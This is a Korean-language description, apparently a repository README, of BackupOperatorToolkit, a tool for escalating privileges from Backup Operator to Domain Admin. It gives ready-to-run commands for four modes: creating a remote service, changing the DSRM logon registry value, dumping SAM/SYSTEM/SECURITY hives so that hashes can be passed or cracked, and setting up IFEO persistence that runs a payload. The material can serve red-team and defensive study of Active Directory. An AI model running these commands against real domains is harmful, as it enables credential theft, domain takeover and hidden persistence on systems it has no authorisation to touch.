improsec/backupoperatortoolkit네 가지 기술을 사용하여 Backup Operator에서 Domain Admin으로 권한 상승: 원격 서비스 생성, DSRM 레지스트리 조작, SAM/SYSTEM 하이브 덤프, 그리고 측면 이동 및 권한 상승을 위한 IFEO 지속성.
BackupOperatorToolkit(BOT)은 Backup Operator에서 Domain Admin으로 권한 상승이 가능한 4가지 모드를 제공합니다.
도구를 실행하기 전에 "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe"를 사용하세요.
SERVICE 모드는 원격 호스트에 서비스를 생성하여 호스트가 재부팅될 때 실행됩니다.
서비스는 원격 레지스트리를 수정하여 생성됩니다. 이는 RegOpenKeyExA 및 RegSetValueExA에 "REG_OPTION_BACKUP_RESTORE" 값을 전달하여 가능합니다.
서비스를 즉시 실행할 수 없는 이유는 서비스 제어 관리자 데이터베이스 "SERVICES_ACTIVE_DATABASE"가 부팅 시 메모리에 로드되며, Backup Operator가 가지고 있지 않은 로컬 관리자 권한으로만 수정할 수 있기 때문입니다.
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION
DSRM 모드는 "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"에 있는 DsrmAdminLogonBehavior 레지스트리 키를 0, 1 또는 2로 설정합니다.
값을 0으로 설정하면 복구 모드에서만 DSRM 계정을 사용할 수 있습니다.
값을 1로 설정하면 디렉터리 서비스가 중지되고 NTDS가 잠금 해제된 상태에서 DSRM 계정을 사용할 수 있습니다.
값을 2로 설정하면 WinRM과 같은 네트워크 인증과 함께 DSRM 계정을 사용할 수 있습니다.
DUMP 모드를 사용하여 DSRM 계정을 오프라인에서 크랙한 경우, 값을 2로 설정하고 로컬 관리자 권한을 가진 DSRM 계정으로 도메인 컨트롤러에 로그인하세요.
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2
DUMP 모드는 SAM, SYSTEM, SECURITY 하이브를 원격 호스트의 로컬 경로에 덤프하거나 파일을 네트워크 공유에 업로드합니다.
하이브를 덤프한 후에는 도메인 컨트롤러 해시로 PtH(Pass-the-Hash)를 수행하거나, DSRM을 크랙하고 네트워크 인증을 활성화하거나, 덤프에서 발견된 다른 계정으로 인증할 수 있습니다.
다른 포리스트의 계정이 이러한 파일에 저장될 수 있습니다. 그 이유는 확실하지 않지만 관리 포리스트와의 작업에서 관찰되었습니다.
이 모드는 BackupOperatorToDA 프로젝트에서 영감을 받았습니다.
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
IFEO(Image File Execution Options)는 특정 프로세스가 종료될 때 애플리케이션을 실행할 수 있게 해줍니다.
이를 통해 대상 호스트가 과도하게 사용되어 거의 재부팅되지 않는 경우 SERVICE 모드보다 먼저 셸을 획득할 수 있습니다.
실행 파일은 WerFault.exe 프로세스의 자식 프로세스로 실행됩니다.
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
